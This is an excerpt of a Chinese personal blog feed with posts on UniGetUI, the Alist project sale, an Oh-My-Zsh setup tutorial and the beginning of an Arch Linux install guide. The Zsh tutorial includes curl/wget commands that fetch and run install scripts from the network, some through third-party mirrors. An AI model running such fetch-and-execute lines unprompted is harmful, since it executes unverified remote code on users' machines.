<li><strong>开发者</strong>：快速配置开发环境，统一管理各种编程工具和库</li>
<li><strong>系统管理员</strong>：批量部署多台机器的软件环境，提高工作效率</li>
<li><strong>IT爱好者</strong>：在不同机器间同步软件设置，保持环境一致性</li>
</ul></section>
<section><h2>小结<a href="#小结"><span>#</span></a></h2><p>UniGetUI以其<strong>近18K的GitHub Star</strong>和活跃的社区支持，已经证明了其在Windows软件管理领域的价值。 它成功地将复杂的命令行操作转化为直观的图形界面，让普通用户也能享受包管理器带来的便利。</p><p>无论你是<strong>命令行恐惧者</strong>，还是<strong>效率追求者</strong>，UniGetUI都值得一试。它可能会彻底改变你管理Windows软件的方式，让你体验到前所未有的便捷和高效。</p><p>你有没有尝试过用包管理器来管理电脑软件？欢迎在评论区分享你的经验和看法！</p><p>(本文章由DeepSeek-R1生成，封面图由Doubao-Seedream-4.0生成并修改，其他图片均来自于网络或个人截图)</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/alist/</id>
      <title type="text">就“Alist被卖”一事对国内开源的思考</title>
      <published>2025-07-06T00:00:00.000Z</published>
      <updated>2025-07-06T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/alist/"/>
      <summary type="text">对知名网盘聚合软件Alist项目售出事件的一些想法</summary>
      <content type="html"><![CDATA[<section><h2>导引<a href="#导引"><span>#</span></a></h2><p>2025年6月，开源社区传出一则爆炸性消息，由国人开发者发起的、全世界开发者广泛参与的知名开源项目<code>Alist</code>被发起者转交给贵州某互联网公司。</p><p>Alist （中文直译：一个列表） 项目，是一个支持多种存储的文件列表程序，在许多NAS用户、网盘用户眼中，<code>Alist</code>功能强大、使用便捷，几乎没有替代方案。因此，<code>Alist</code>被转交，对于这些用户而言是不可接受的，因此引发了一场网络风波。以下是详细介绍：</p></section>
<section><h2>P1：事件经过<a href="#p1事件经过"><span>#</span></a></h2><p>2025年6月，由用户发现Alist的Github（全球最大的代码托管网站）仓库文档中官网链接及下载链接已被修改。该消息爆出后，相继由用户发现代码疑似被投毒，API（程序接口）被闭源。这些相继发现的疑点都指向一种可能：Alist已被原发起人Xhofe转交甚至是变卖。而随着网友的发掘，发现该发起人的其他项目也出现了类似情况。</p><p>此后，大量网盘用户陷入恐慌，同时也有人在issues（提议）界面披露更多事件细节，更加剧了用户对于该项目的不信任。随后发起人Xhofe在telegram群组中作出正面回应，承认Alist项目被出售；并试图安抚用户，声称之后该企业提交的代码都会进行仔细审查。但已无法挽回事态，大量用户表示对发起者的不信任。</p></section>
<section><h2>P2：事件处理（后续）<a href="#p2事件处理后续"><span>#</span></a></h2><p>起初很多人转移使用旧版本来短暂规避风险，但发现API的改变也影响到了旧版本，所以该项目的所有发布版本都不再值得信任。后来，原项目贡献者的几人组成新团队并发起议题，声称将以Alist旧版本为基础开发新的社区版本，经投票决定后，项目被命名为<code>Openlist</code> （中文直译：开源列表或开放列表） 。该消息放出后，立刻引发轰动，大量用户表示赞成，但也有用户担心版本的长期发展问题。作为该文作者，我认为该项目的出现，填补了Alist被售卖后的生态缺位，为问题的真空期提供了临时替代方案，随着用户的不断增多和开发者的不断涌入，该项目的前景是看好的。</p></section>
<section><h2>P3：我的思考<a href="#p3我的思考"><span>#</span></a></h2><p>“Alist被卖”一事，将会被记在中国开源社区发展历程上，在此之前也有很多开源项目出现种种问题：同Alist一样被转卖、因被黑产利用而遭误杀、因触及大厂利益针对、因发起人个人原因放弃维护等等。</p><p>有许多人认为，中国没有适合开源社区的社会环境。我也尝试思考国内开源社区乱象的原因，并尝试给出自己的见解：</p><div><div><div></div><div>Warning</div></div><div><p>个人主观观点，请酌情阅读</p></div></div><ol>
<li>
<p>历史因素：
开源社区起源于欧美；英语仍是主流语言，而大部分国内项目在国际化方面做得不够。</p>
</li>
<li>
<p>社会因素：
国内社会环境无法让大量人口拥有足够的空闲时间和生活资料；在国内中，开源也并未成为主流。</p>
</li>
<li>
<p>人员质量：
国内的开源社区大部分局限于业余爱好者范围内，而没有成为体系化的专业团队。</p>
</li>
<li>
<p>发展导向：
国外以to C为战略方向，以to B为盈利的开源商业公司很多，这些公司参与开发是因为脱离了早期的无序竞争状态，开发开源项目符合自己的长期利益，同时也有大量来自各种基金会的支持，对于IBM、Google等公司而言，非必要不闭源，配合上大量计算机爱好者开发的小项目，组成了庞大的开源社区生态。而在国内则是非必要不开源，实在是因为涉及到使用开源代码无法闭源的部分才会开源目。导致国内只有爱好者主导的小型项目，应当有商业公司参与的大型项目生态位缺位。商业公司参与开源项目可能导致短期资金缺乏从而彻底丧失长期利益。（我觉得政府不是主要原因，他们不是因为给政府开发才开源的，政府没有要求他们开源。）</p>
</li>
<li>
<p>内外需求：
国外开源项目服务于广泛的计算机爱好者，拥有普遍的受众基础，对于用户界面的美观需求不大，可以专注软件功能的实现，保障软件的稳定性和安全性。国内计算机爱好者不够广泛，大部分民众没有计算机教育的基础，需要美观的界面而非直白的界面。同时由于国内有异常严格的审核机制，导致软件仅仅能实现在自用范围，试图提供可能被滥用的功能存在法律风险。</p>
</li>
<li>
<p>缺乏规范：
法律上缺乏对开源项目的保护和豁免。民众缺乏规范意识。需要民众思想水平不断提高 （但现在的教育方式感觉只会不断下降（笑） 。</p>
</li>
</ol></section>
<section><h2>总结<a href="#总结"><span>#</span></a></h2><p>可能很多人知晓此事件后可能会悲叹：“开源精神已死！”虽然Alist被卖事件对国内开源社区有一定的打击。但我坚信，Openlist的新生，会挽回这一蹶不振的局面！一个开源项目倒下了，就会有千千万万个开源项目继续前行！我希望，国内开源社区能健康长远发展，共同铸造开源辉煌！</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/zsh-themes/</id>
      <title type="text">使用 Oh-My-Zsh 主题为你的 Zsh 美化！让你的终端更好看！</title>
      <published>2025-05-05T00:00:00.000Z</published>
      <updated>2025-05-05T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/zsh-themes/"/>
      <summary type="text">安装 Zsh 并美化终端</summary>
      <content type="html"><![CDATA[<section><h1>一、小引<a href="#一小引"><span>#</span></a></h1><p>本博文参考自：</p><ol>
<li><a href="https://www.haoyep.com/posts/zsh-config-oh-my-zsh/" target="_blank">zsh 安装与配置，使用 oh-my-zsh 美化终端 | Leehow的小站</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/63585679" target="_blank">Linux 效率神器——开始使用 Zsh - 知乎</a></li>
</ol><p>对于经常在 Linux 环境下干活的开发者来说，<code>Shell</code>是我们使用最频繁的程序了，<code>Shell</code>在程序员和服务器间建立了一个桥梁，它对外提供一系列命令，通过这些命令，可以让服务器知道我们的意图，有了<code>Shell</code>我们就可以和机器进行愉快的交流了。</p><p>比如，用<code>ls</code>命令列举当前目录的文件，用<code>find</code>命令查找文件，用<code>cp</code>命令拷贝文件，用<code>top</code>命令查看机器负载和进程等。常用的<code>Bash</code>就是<code>Shell</code>的一种，也是Linux下的默认<code>Shell</code>程序，现在让我们开始使用<code>Zsh</code>，重新定义一个更强大，更人性化的<code>Shell</code>。</p></section>
<section><h1>二、介绍<a href="#二介绍"><span>#</span></a></h1><section><h2>Zsh 是什么<a href="#zsh-是什么"><span>#</span></a></h2><p><a href="https://www.zsh.org/" target="_blank">Zsh</a>属于<code>Shell</code>的一种，和<code>Bash</code>一样，但比<code>Bash</code>更好用，<code>Zsh</code>完全兼容<code>Bash</code>，拥有极其丰富的插件，其强大的自动补全参数、文件名以及自定义功能，可以大大提高我们使用Linux的效率。</p></section><section><h2>安装 Zsh<a href="#安装-zsh"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>install</span><span> </span><span>zsh</span><span>   </span><span># Debian,Ubuntu,Mint等</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>zsh</span><span> </span><span>zsh-completions</span><span>   </span><span># Arch,Manjaro,Endeavour OS等</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>Oh-My-Zsh 是什么<a href="#oh-my-zsh-是什么"><span>#</span></a></h2><p>传统的<code>bash</code>功能比较简陋，且不美观。<code>Zsh</code>虽然好用，但直接用起来还是比较麻烦，不过幸运的是，已经有大神给我们配置好了一个很棒的框架：<code>oh-my-zsh</code>，专门为<code>Zsh</code>打造。<a href="https://ohmyz.sh/" target="_blank">Oh My Zsh</a>是基于<code>zsh</code>命令行的一个扩展工具集，提供了丰富的扩展功能。</p></section><section><h2>安装 Oh-My-Zsh<a href="#安装-oh-my-zsh"><span>#</span></a></h2>

<table><thead><tr><th>方式</th><th>命令</th></tr></thead><tbody><tr><td><code>curl</code></td><td><code>sh -c "$(curl -fsSL https://install.ohmyz.sh/)"</code></td></tr><tr><td><code>wget</code></td><td><code>sh -c "$(wget -O- https://install.ohmyz.sh/)"</code></td></tr><tr><td>国内<code>curl</code>镜像</td><td><code>sh -c "$(curl -fsSL https://gitee.com/pocmon/ohmyzsh/raw/master/tools/install.sh)"</code></td></tr><tr><td>国内<code>wget</code>镜像</td><td><code>sh -c "$(wget -O- https://gitee.com/pocmon/ohmyzsh/raw/master/tools/install.sh)"</code></td></tr></tbody></table><p>注意：记得同意使用<code>Oh-my-zsh</code>的配置模板覆盖已有的<code>.zshrc</code>。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/202401012224221.6bhow9ajdy.png" alt="install omz" /><figcaption>install omz</figcaption></figure><p></p></section></section>
<section><h1>三、终端配置<a href="#三终端配置"><span>#</span></a></h1><section><h2>安装 Powerlevel10k 主题<a href="#安装-powerlevel10k-主题"><span>#</span></a></h2><p>这是我推荐的首选<code>Zsh</code>主题，根据文章<a href="https://www.slant.co/topics/7553/~theme-for-oh-my-zsh" target="_blank">What’s the best theme for Oh My Zsh?</a>中的排名，以及自定义化、美观程度，强烈建议使用<code>powerlevel10k</code>主题。</p><p>安装命令：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>--depth=1</span><span> </span><span>https://github.com/romkatv/powerlevel10k.git</span><span> </span><span>${</span><span>ZSH_CUSTOM</span><span>:-</span><span>$HOME</span><span>/</span><span>.oh-my-zsh</span><span>/</span><span>custom</span><span>}</span><span>/themes/powerlevel10k</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># 中国用户可以使用 gitee.com 上的官方镜像加速下载</span></div></div><div><div><div>4</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>--depth=1</span><span> </span><span>https://gitee.com/romkatv/powerlevel10k.git</span><span> </span><span>${</span><span>ZSH_CUSTOM</span><span>:-</span><span>$HOME</span><span>/</span><span>.oh-my-zsh</span><span>/</span><span>custom</span><span>}</span><span>/themes/powerlevel10k</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 或者</span></div></div><div><div><div>7</div></div><div><span>yay</span><span> </span><span>-S</span><span> </span><span>zsh-theme-powerlevel10k-git</span><span>   </span><span># 试了一下在我这好像这样安装完用不了，如果你觉得可以这样在Arch上安装那你用这个</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>插件<a href="#插件"><span>#</span></a></h2><p><code>oh-my-zsh</code>已经内置了<code>git</code>插件，内置插件可以在<code>~/.oh-my-zsh/plugins</code>中查看，下面介绍一下我常用的插件，更多插件可以在<code>awesome-zsh-plugins</code>里查看。</p><section><h3>1. zsh-autosuggestions<a href="#1-zsh-autosuggestions"><span>#</span></a></h3><p><a href="https://github.com/zsh-users/zsh-autosuggestions" target="_blank">zsh-autosuggestions</a>是一个命令提示插件，当你输入命令时，会自动推测你可能需要输入的命令，按下右键可以快速采用建议。效果如下：</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/202401012250028.2dpbfkzuyw.png" alt="zsh autosuggestions" /><figcaption>zsh autosuggestions</figcaption></figure><p></p><p>安装方式：把插件下载到本地的<code>~/.oh-my-zsh/custom/plugins</code>目录。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>https://github.com/zsh-users/zsh-autosuggestions</span><span> </span><span>${</span><span>ZSH_CUSTOM</span><span>:-</span><span>~</span><span>/</span><span>.oh-my-zsh</span><span>/</span><span>custom</span><span>}</span><span>/plugins/zsh-autosuggestions</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># 中国用户可以使用下面的加速下载</span></div></div><div><div><div>4</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>https://github.moeyy.xyz/https://github.com/zsh-users/zsh-autosuggestions</span><span> </span><span>${</span><span>ZSH_CUSTOM</span><span>:-</span><span>~</span><span>/</span><span>.oh-my-zsh</span><span>/</span><span>custom</span><span>}</span><span>/plugins/zsh-autosuggestions</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2. zsh-syntax-highlighting<a href="#2-zsh-syntax-highlighting"><span>#</span></a></h3><p><a href="https://github.com/zsh-users/zsh-syntax-highlighting" target="_blank">zsh-syntax-highlighting</a>是一个命令语法校验插件，在输入命令的过程中，若指令不合法，则指令显示为红色，若指令合法就会显示为绿色。效果如下：</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/202401012252786.1hsu04qidl.png" alt="zsh syntax highlighting" /><figcaption>zsh syntax highlighting</figcaption></figure><p></p><p>安装方式：把插件下载到本地的<code>~/.oh-my-zsh/custom/plugins</code>目录。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>https://github.com/zsh-users/zsh-syntax-highlighting.git</span><span> </span><span>${</span><span>ZSH_CUSTOM</span><span>:-</span><span>~</span><span>/</span><span>.oh-my-zsh</span><span>/</span><span>custom</span><span>}</span><span>/plugins/zsh-syntax-highlighting</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># 中国用户可以使用下面的加速下载</span></div></div><div><div><div>4</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>https://github.moeyy.xyz/https://github.com/zsh-users/zsh-syntax-highlighting.git</span><span> </span><span>${</span><span>ZSH_CUSTOM</span><span>:-</span><span>~</span><span>/</span><span>.oh-my-zsh</span><span>/</span><span>custom</span><span>}</span><span>/plugins/zsh-syntax-highlighting</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3. z 插件<a href="#3-z-插件"><span>#</span></a></h3><p><code>oh-my-zsh</code>内置了<code>z</code>插件。<code>z</code>是一个文件夹快捷跳转插件，对于曾经跳转过的目录，只需要输入最终目标文件夹名称，就可以快速跳转，避免再输入长串路径，提高切换文件夹的效率。效果如下：</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/202401012254065.6t7qkucz0m.png" alt="z" /><figcaption>z</figcaption></figure><p></p></section><section><h3>4. extract<a href="#4-extract"><span>#</span></a></h3><p><code>oh-my-zsh</code>内置了<code>extract</code>插件。<code>extract</code>用于解压任何压缩文件，不必根据压缩文件的后缀名来记忆压缩软件。使用<code>x</code>命令即可解压文件，效果如下：</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/202401012259966.7i104v0rjg.png" alt="extract" /><figcaption>extract</figcaption></figure><p></p></section><section><h3>5. web-search<a href="#5-web-search"><span>#</span></a></h3><p><code>oh-my-zsh</code>内置了<code>web-search</code>插件。<code>web-search</code>能让我们在命令行中使用搜索引擎进行搜索。使用搜索引擎<code>关键字</code>+<code>搜索内容</code>即可自动打开浏览器进行搜索。效果如下：</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/202401012302476.4qrxwsevi5.png" alt="web search" /><figcaption>web search</figcaption></figure><p></p><div><div><div></div><div>Important</div></div><div><p>最后，记得启用所有插件。</p></div></div><p>写在这里：实际上我不用第四和第五个插件（，解压不如用tar -xf或者unzip,unrar等，搜索直接在浏览器主界面用））</p></section><section><h3>启用插件<a href="#启用插件"><span>#</span></a></h3><p>修改<code>~/.zshrc</code>中插件列表为：</p><div><figure><figcaption><span>~/.zshrc</span></figcaption><pre><code><div><div><div>1</div></div><div><span>...</span></div></div><div><div><div>2</div></div><div><span>plugins</span><span>=(</span><span>git</span><span> </span><span>zsh-autosuggestions</span><span> </span><span>zsh-syntax-highlighting</span><span> </span><span>z</span><span> </span><span>extract</span><span> </span><span>web-search</span><span>)</span></div></div><div><div><div>3</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div></div><div>Tip</div></div><div><p>部分插件需要参考插件介绍进行安装。</p></div></div></section></section><section><h2>小技巧<a href="#小技巧"><span>#</span></a></h2><section><h3>1. 配置本地代理<a href="#1-配置本地代理"><span>#</span></a></h3><p>如果你配置了本地代理，并希望终端的<code>git</code>等命令使用代理，那么可以在<code>~/.zshrc</code>中添加（假设本地代理端口为2080）：</p><div><figure><figcaption><span>~/.zshrc</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 为 curl wget git 等设置代理</span></div></div><div><div><div>2</div></div><div><span>proxy</span><span> </span><span>()</span><span> </span><span>{</span></div></div><div><div><div>3</div></div><div><span>  </span><span>export</span><span> ALL_PROXY</span><span>=</span><span>"</span><span>socks5://127.0.0.1:2080</span><span>"</span></div></div><div><div><div>4</div></div><div><span>  </span><span>export</span><span> all_proxy</span><span>=</span><span>"</span><span>socks5://127.0.0.1:2080</span><span>"</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 取消代理</span></div></div><div><div><div>8</div></div><div><span>unproxy</span><span> </span><span>()</span><span> </span><span>{</span></div></div><div><div><div>9</div></div><div><span>  </span><span>unset</span><span> </span><span>ALL_PROXY</span></div></div><div><div><div>10</div></div><div><span>  </span><span>unset</span><span> </span><span>all_proxy</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>以后在使用<code>git</code>等命令之前，只需要在终端中输入<code>proxy</code>命令，即可使用本地代理。</p></section></section></section>
<section><h1>四、更新 or 卸载 Oh-My-Zsh<a href="#四更新-or-卸载-oh-my-zsh"><span>#</span></a></h1><section><h2>卸载<a href="#卸载"><span>#</span></a></h2><p>终端输入：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>uninstall_oh_my_zsh</span></div></div><div><div><div>2</div></div><div><span>Are</span><span> </span><span>you</span><span> </span><span>sure</span><span> </span><span>you</span><span> </span><span>want</span><span> </span><span>to</span><span> </span><span>remove</span><span> </span><span>Oh</span><span> </span><span>My</span><span> </span><span>Zsh?</span><span> [y/N]  Y</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>终端提示信息：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Removing ~/.oh-my-zsh</span></div></div><div><div><div>2</div></div><div><span>Looking for original zsh config...</span></div></div><div><div><div>3</div></div><div><span>Found ~/.zshrc.pre-oh-my-zsh -- Restoring to ~/.zshrc</span></div></div><div><div><div>4</div></div><div><span>Found ~/.zshrc -- Renaming to ~/.zshrc.omz-uninstalled-20170820200007</span></div></div><div><div><div>5</div></div><div><span>Your original zsh config was restored. Please restart your session.</span></div></div><div><div><div>6</div></div><div><span>Thanks for trying out Oh My Zsh. It's been uninstalled.</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h2>手动更新<a href="#手动更新"><span>#</span></a></h2><p>终端输入：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>upgrade_oh_my_zsh</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h1>结语<a href="#结语"><span>#</span></a></h1><p>由以上可以看出，<code>Zsh</code>配合<code>oh-my-zsh</code>，可以大大方便我们在Linux下敲命令的任务，以上只是<code>Zsh</code>很少的一部分，<code>oh-my-zsh</code>还有很多插件和使用方法，等待大家去发掘。</p><p>(The End)</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/archinst/</id>
      <title type="text">Arch Linux 完全指南(物理机 &amp; 虚拟机)(2025.01.09更新)</title>
      <published>2025-01-09T00:00:00.000Z</published>
      <updated>2025-01-09T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/archinst/"/>
      <summary type="text">如何在物理机/虚拟机上安装Arch Linux</summary>
      <content type="html"><![CDATA[<section><h2>前言<a href="#前言"><span>#</span></a></h2><div><div><div></div><div>Important</div></div><div><ul>
<li>本教程第一次考虑的那么全面，但仍然可能会有不足的地方（包括表述等方面），让我们一起继续完善这篇教程吧！</li>
<li>反馈方式：写在底下的Giscus评论区里</li>
</ul></div></div><p>之前的博文只提供了虚拟机的安装方法，考虑到物理机的操作会有所不同，决定完全重新写一篇安装教程，并且更加完善之前所遗漏的东西。</p></section>
<section><h2>介绍<a href="#介绍"><span>#</span></a></h2><p><code>Arch Linux</code> 是一种通用操作系统，它是基于 x86-64 架构的一类 GNU/Linux 发行版。</p><p><code>Arch Linux</code> 采用滚动发行模式，尽全力为用户提供最新的稳定版软件。初始安装完成的 <code>Arch Linux</code> 只是一个基本系统，随后用户可以根据自己的喜好安装需要的软件并配置成符合自己理想的个性化系统。</p><p><code>Arch Linux</code> 秉持的核心原则是<code>"Keep It Simple, Stupid"</code>(对应中文为<code>“保持简单，且一目了然”</code>)。</p><p>——选自<a href="https://wiki.archlinuxcn.org/wiki/Arch_Linux" target="_blank">Arch Linux 中文维基</a></p></section>
<section><h2>准备工作<a href="#准备工作"><span>#</span></a></h2><section><h3>要求<a href="#要求"><span>#</span></a></h3><section><h4>一、 物理机硬件要求<a href="#一-物理机硬件要求"><span>#</span></a></h4><ol>
<li>
<p>有一台能用的电脑！
(如果你的电脑在此之前就有一堆硬件问题，比如开机没几秒就熄灯之类的，那么你要不拿去修理要不换一台电脑)。(如果你没有一台电脑，是手机用户，那请退出这个网站，买一台电脑再来，或者使用Termux运行Linux虚拟机)。</p>
</li>
<li>
<p>你的主板支持UEFI启动。(在当今UEFI普及的时代，很多教程都以UEFI+GPT方式安装，如果你的电脑不支持UEFI启动，说明你的电脑很老了，请换一台电脑)。</p>
</li>
<li>
<p>至少 4GB 的 DDR3 内存，推荐 8GB DDR4 以上。DDR2内存用户请自觉退出该页面（。</p>
</li>
<li>
<p>至少 20GB HDD的硬盘空间，推荐 120GB SSD以上(较普遍的固态硬盘的容量)。</p>
</li>
<li>
<p>有较强的网络环境，推荐千兆网线或者千兆 WiFi 6 无线网卡(比如Intel 的 AX210)(如果你的光猫宽带不支持千兆，虽然能继续跟着教程安装，但是拉取仓库的速度就很不理想了，只要你能忍受就行)。</p>
</li>
<li>
<p>CPU为x86_64架构(Intel 或 AMD)，只要能安装就行。ARM平台的CPU请查阅其他教程</p>
</li>
<li>
<p>显卡可以核显 (就是GUI有点卡) 或者独显(NVIDIA 或 AMD 显卡)。</p>
</li>
</ol></section><section><h4>二、 虚拟机软件要求<a href="#二-虚拟机软件要求"><span>#</span></a></h4><ol>
<li>
<p>你的物理机支持虚拟化技术，如果默认不开启需要在固件设置(人话就是BIOS设置但是是在UEFI平台上的称呼)中找到类似<code>"Intel Virtual Technology"</code>和<code>"VT-d"</code>字样，选择<code>"enable"</code>（AMD平台的为<code>"AMD-V"</code>字样）。</p>
</li>
<li>
<p>虚拟机软件为<code>VMware Workstation Pro</code> 或 <code>VirtualBox</code>，推荐安装最新版本。</p>
</li>
<li>
<p>至少 4GB 的内存，推荐 8GB 以上。</p>
</li>
<li>
<p>至少 20GB SCSI的硬盘空间，推荐 120GB SATA以上。</p>
</li>
<li>
<p>至少 2个CPU核心，推荐 4个以上。</p>
</li>
</ol></section><section><h4>三、 其他要求<a href="#三-其他要求"><span>#</span></a></h4><ul>
<li>
<p>物理机安装还需要另外准备一个可读写的U盘，用来引导<code>Arch Linux</code>安装盘。</p>
</li>
<li>
<p>需要用户有一定的Linux基础，包括命令行操作、文件管理、软件安装等。
(如果你是一位完全不会Linux的新手，建议你尝试其他的发行版吧，比如常用的Ubuntu，Mint，Fedora等，先在虚拟机或者WSL2上体验一下再来考虑要不要安装)</p>
</li>
<li>
<p>需要用户有一定的命令行基础！(如果你是Windows用户，并且你从来没碰过cmd和powershell，也比较讨厌命令行操作，只会桌面操作，建议你关闭该教程，继续使用Windows，因为Linux很多时候需要命令行操作，这都一点不会还不如继续保持Win，别来折磨自己（（（)(或者你无视我的提醒，用户：我埃及吧怎样用就怎样用（（（)</p>
</li>
<li>
<p>参考：<a href="https://arch.icekylin.online/guide/prepare/head-on-blow.html" target="_blank">https://arch.icekylin.online/guide/prepare/head-on-blow.html</a></p>
</li>
</ul></section></section><section><h3>准备安装介质<a href="#准备安装介质"><span>#</span></a></h3><section><h4>一、 获取安装镜像<a href="#一-获取安装镜像"><span>#</span></a></h4><p><code>Arch Linux</code>系统的安装需要一个ISO镜像文件，可以从<a href="https://archlinux.org/download/" target="_blank">官网下载</a>，但国内的网络环境推荐去开源镜像站下载，这里列出了一些国内镜像站。</p><ul>
<li>
<p>(不推荐) TUNA镜像源：<a href="https://mirrors.tuna.tsinghua.edu.cn/archlinux/iso/latest/" target="_blank">https://mirrors.tuna.tsinghua.edu.cn/archlinux/iso/latest/</a></p>
</li>
<li>
<p>(不推荐) 北外镜像源：<a href="https://mirrors.bfsu.edu.cn/archlinux/iso/latest/" target="_blank">https://mirrors.bfsu.edu.cn/archlinux/iso/latest/</a></p>
</li>
<li>
<p>中科大源：<a href="https://mirrors.ustc.edu.cn/archlinux/iso/latest/" target="_blank">https://mirrors.ustc.edu.cn/archlinux/iso/latest/</a></p>
</li>
<li>
<p>浙大源：<a href="https://mirrors.zju.edu.cn/archlinux/iso/latest/" target="_blank">https://mirrors.zju.edu.cn/archlinux/iso/latest/</a></p>
</li>
<li>
<p>(推荐)南科大源：<a href="https://mirrors.sustech.edu.cn/" target="_blank">https://mirrors.sustech.edu.cn/</a></p>
</li>
</ul><p>进入网页后，点击类似<code>"archlinux-[年份].[月份].[日期]-x86_64.iso"</code>的链接下载镜像文件，推荐使用<code>FDM</code>或者<code>AB Download Manager</code>下载。</p></section><section><h4>二、 制作U盘启动盘<a href="#二-制作u盘启动盘"><span>#</span></a></h4><div><div><div></div><div>Caution</div></div><div><p>注意在此之前先备份一下U盘上的重要数据！！！</p><p>注意在此之前先备份一下U盘上的重要数据！！！</p><p>注意在此之前先备份一下U盘上的重要数据！！！</p><p>重要的事情说三遍！！！</p></div></div></section><section><h4>1. Balena Etcher<a href="#1-balena-etcher"><span>#</span></a></h4><p>下载完ISO镜像文件后，使用<a href="https://rufus.ie/zh/" target="_blank">Rufus</a>工具或者<a href="https://www.balena.io/etcher/" target="_blank">Balena Etcher</a>工具制作U盘启动盘。</p><p>这里以<code>Balena Etcher</code>为例：</p><p>插入U盘后，打开<code>Balena Etcher</code>，选择”从文件烧录”，选择下载好的ISO镜像文件。</p><p>然后点击”选择目标磁盘”，找到你插入的U盘。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECkXgs.8advml9if7.png" alt="选择目标U盘" /><figcaption>选择目标U盘</figcaption></figure><p></p><p>点击”现在烧录!”</p><p>等进度条过完以后，U盘启动盘就制作好了。</p><hr /></section><section><h4>2. Ventoy<a href="#2-ventoy"><span>#</span></a></h4><p>或者使用<a href="https://www.ventoy.net/cn/" target="_blank">Ventoy</a>工具制作U盘启动盘。</p><p>打开<code>Ventoy</code>，先在配置选项-分区类型选择GPT，默认选中了你的U盘，然后点击”安装”按钮，期间会反复确认是否格式化U盘，点击”是”即可。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECAuVK.3rbujm47v4.png" alt="分区格式选择GPT" /><figcaption>分区格式选择GPT</figcaption></figure><p></p><p>之后把ISO镜像拖入到名为”Ventoy”的分区中即可。</p></section><section><h4>Balena Etcher与Ventoy对比<a href="#balena-etcher与ventoy对比"><span>#</span></a></h4><p><code>Balena Etcher</code>和<code>Rufus</code>一样只能使用一个ISO镜像文件制作U盘启动盘；</p><p>而<code>Ventoy</code>只需要安装进U盘里，之后可以直接导入多个ISO镜像文件，比如各种PE，各个发行版Live CD等，还可以配合<a href="https://home.edgeless.top/" target="_blank">Edgeless</a>这种高度定制的PE系统使用。</p><p>所以我个人推荐使用<code>Ventoy</code>。</p></section></section><section><h3>虚拟机安装的准备<a href="#虚拟机安装的准备"><span>#</span></a></h3><p>以<code>VMware Workstation Pro</code>为例，创建虚拟机</p><p>点击”创建新的虚拟机”，选择”自定义(高级)”。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECAJKI.7pwtt1slr.png" alt="创建虚拟机" /><figcaption>创建虚拟机</figcaption></figure><p></p><p>虚拟机硬件兼容性保持默认，点击”下一步”，选择”安装程序光盘映像文件(iso)“，选择下载好的ISO镜像文件。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pECAUVf.4n8bz2edf9.png" alt="选择安装镜像文件" 